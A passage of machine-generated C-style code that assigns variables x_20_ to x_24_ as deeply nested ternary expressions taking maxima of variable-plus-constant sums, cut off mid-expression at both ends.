(17.0 + x_22)) : ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))) > (((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) > ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))? ((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) : ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31)))? (((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) > ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))? ((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) : ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))) : (((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) > ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))? ((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) : ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))))? ((((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) > ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))? ((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) : ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))) > (((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) > ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13))? ((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) : ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13)))? (((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) > ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))? ((4.0 + x_0) > (14.0 + x_2)? (4.0 + x_0) : (14.0 + x_2)) : ((3.0 + x_5) > (14.0 + x_6)? (3.0 + x_5) : (14.0 + x_6))) : (((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) > ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13))? ((1.0 + x_9) > (16.0 + x_10)? (1.0 + x_9) : (16.0 + x_10)) : ((11.0 + x_11) > (9.0 + x_13)? (11.0 + x_11) : (9.0 + x_13)))) : ((((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) > ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))? ((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) : ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))) > (((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) > ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))? ((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) : ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31)))? (((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) > ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))? ((11.0 + x_15) > (17.0 + x_22)? (11.0 + x_15) : (17.0 + x_22)) : ((2.0 + x_25) > (4.0 + x_26)? (2.0 + x_25) : (4.0 + x_26))) : (((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) > ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))? ((2.0 + x_27) > (15.0 + x_29)? (2.0 + x_27) : (15.0 + x_29)) : ((8.0 + x_30) > (20.0 + x_31)? (8.0 + x_30) : (20.0 + x_31))))); x_20_ = (((((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) > ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))? ((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) : ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))) > (((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) > ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16))? ((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) : ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16)))? (((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) > ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))? ((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) : ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))) : (((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) > ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16))? ((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) : ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16)))) > ((((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) > ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))? ((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) : ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))) > (((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) > ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))? ((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) : ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31)))? (((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) > ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))? ((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) : ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))) : (((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) > ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))? ((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) : ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))))? ((((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) > ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))? ((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) : ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))) > (((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) > ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16))? ((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) : ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16)))? (((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) > ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))? ((2.0 + x_0) > (19.0 + x_6)? (2.0 + x_0) : (19.0 + x_6)) : ((12.0 + x_7) > (2.0 + x_10)? (12.0 + x_7) : (2.0 + x_10))) : (((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) > ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16))? ((14.0 + x_11) > (3.0 + x_12)? (14.0 + x_11) : (3.0 + x_12)) : ((11.0 + x_15) > (1.0 + x_16)? (11.0 + x_15) : (1.0 + x_16)))) : ((((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) > ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))? ((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) : ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))) > (((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) > ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))? ((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) : ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31)))? (((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) > ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))? ((17.0 + x_18) > (1.0 + x_19)? (17.0 + x_18) : (1.0 + x_19)) : ((7.0 + x_23) > (9.0 + x_25)? (7.0 + x_23) : (9.0 + x_25))) : (((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) > ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))? ((6.0 + x_26) > (11.0 + x_28)? (6.0 + x_26) : (11.0 + x_28)) : ((7.0 + x_30) > (10.0 + x_31)? (7.0 + x_30) : (10.0 + x_31))))); x_21_ = (((((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) > ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))? ((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) : ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))) > (((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) > ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13))? ((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) : ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13)))? (((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) > ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))? ((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) : ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))) : (((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) > ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13))? ((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) : ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13)))) > ((((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) > ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))? ((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) : ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))) > (((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) > ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))? ((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) : ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29)))? (((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) > ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))? ((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) : ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))) : (((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) > ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))? ((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) : ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))))? ((((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) > ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))? ((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) : ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))) > (((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) > ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13))? ((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) : ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13)))? (((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) > ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))? ((19.0 + x_0) > (10.0 + x_2)? (19.0 + x_0) : (10.0 + x_2)) : ((7.0 + x_4) > (6.0 + x_7)? (7.0 + x_4) : (6.0 + x_7))) : (((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) > ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13))? ((12.0 + x_10) > (6.0 + x_11)? (12.0 + x_10) : (6.0 + x_11)) : ((16.0 + x_12) > (9.0 + x_13)? (16.0 + x_12) : (9.0 + x_13)))) : ((((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) > ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))? ((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) : ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))) > (((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) > ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))? ((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) : ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29)))? (((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) > ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))? ((6.0 + x_14) > (2.0 + x_18)? (6.0 + x_14) : (2.0 + x_18)) : ((12.0 + x_19) > (16.0 + x_20)? (12.0 + x_19) : (16.0 + x_20))) : (((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) > ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))? ((12.0 + x_22) > (17.0 + x_23)? (12.0 + x_22) : (17.0 + x_23)) : ((4.0 + x_28) > (16.0 + x_29)? (4.0 + x_28) : (16.0 + x_29))))); x_22_ = (((((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) > ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))? ((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) : ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))) > (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13)))? (((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) > ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))? ((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) : ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))) : (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13)))) > ((((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))? ((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))) > (((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) > ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))? ((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) : ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31)))? (((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))? ((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))) : (((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) > ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))? ((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) : ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))))? ((((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) > ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))? ((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) : ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))) > (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13)))? (((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) > ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))? ((2.0 + x_0) > (20.0 + x_3)? (2.0 + x_0) : (20.0 + x_3)) : ((13.0 + x_5) > (5.0 + x_6)? (13.0 + x_5) : (5.0 + x_6))) : (((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) > ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13))? ((13.0 + x_7) > (10.0 + x_8)? (13.0 + x_7) : (10.0 + x_8)) : ((6.0 + x_9) > (9.0 + x_13)? (6.0 + x_9) : (9.0 + x_13)))) : ((((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))? ((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))) > (((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) > ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))? ((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) : ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31)))? (((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) > ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))? ((10.0 + x_14) > (17.0 + x_15)? (10.0 + x_14) : (17.0 + x_15)) : ((20.0 + x_18) > (15.0 + x_19)? (20.0 + x_18) : (15.0 + x_19))) : (((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) > ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))? ((5.0 + x_20) > (3.0 + x_24)? (5.0 + x_20) : (3.0 + x_24)) : ((13.0 + x_27) > (9.0 + x_31)? (13.0 + x_27) : (9.0 + x_31))))); x_23_ = (((((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) > ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))? ((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) : ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))) > (((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) > ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14))? ((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) : ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14)))? (((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) > ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))? ((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) : ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))) : (((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) > ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14))? ((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) : ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14)))) > ((((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) > ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))? ((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) : ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))) > (((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) > ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))? ((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) : ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25)))? (((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) > ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))? ((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) : ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))) : (((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) > ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))? ((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) : ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))))? ((((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) > ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))? ((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) : ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))) > (((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) > ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14))? ((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) : ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14)))? (((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) > ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))? ((4.0 + x_0) > (11.0 + x_1)? (4.0 + x_0) : (11.0 + x_1)) : ((11.0 + x_4) > (1.0 + x_6)? (11.0 + x_4) : (1.0 + x_6))) : (((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) > ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14))? ((4.0 + x_7) > (18.0 + x_9)? (4.0 + x_7) : (18.0 + x_9)) : ((2.0 + x_10) > (7.0 + x_14)? (2.0 + x_10) : (7.0 + x_14)))) : ((((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) > ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))? ((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) : ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))) > (((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) > ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))? ((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) : ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25)))? (((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) > ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))? ((16.0 + x_15) > (18.0 + x_17)? (16.0 + x_15) : (18.0 + x_17)) : ((18.0 + x_19) > (5.0 + x_20)? (18.0 + x_19) : (5.0 + x_20))) : (((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) > ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))? ((11.0 + x_21) > (1.0 + x_22)? (11.0 + x_21) : (1.0 + x_22)) : ((11.0 + x_23) > (17.0 + x_25)? (11.0 + x_23) : (17.0 + x_25))))); x_24_ = (((((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) > ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))? ((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) : ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))) > (((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) > ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13))? ((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) : ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13)))? (((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) > ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))? ((7.0 + x_1) > (10.0 + x_2)? (7.0 + x_1) : (10.0 + x_2)) : ((16.0 + x_4) > (12.0 + x_7)? (16.0 + x_4) : (12.0 + x_7))) : (((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) > ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13))? ((11.0 + x_8) > (2.0 + x_10)? (11.0 + x_8) : (2.0 + x_10)) : ((17.0 + x_12) > (2.0 + x_13)? (17.0 + x_12) : (2.0 + x_13)))) > ((((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) > ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))? ((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) : ((17.0 + x_19) > (7.0 + x_21)? (17.0 + x_19) : (7.0 + x_21))) > (((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) > ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30))? ((19.0 + x_23) > (19.0 + x_26)? (19.0 + x_23) : (19.0 + x_26)) : ((13.0 + x_27) > (17.0 + x_30)? (13.0 + x_27) : (17.0 + x_30)))? (((11.0 + x_16) > (20.0 + x_18)? (11.0 + x_16) : (20.0 + x_18)) > ((17.0 + x_19) > 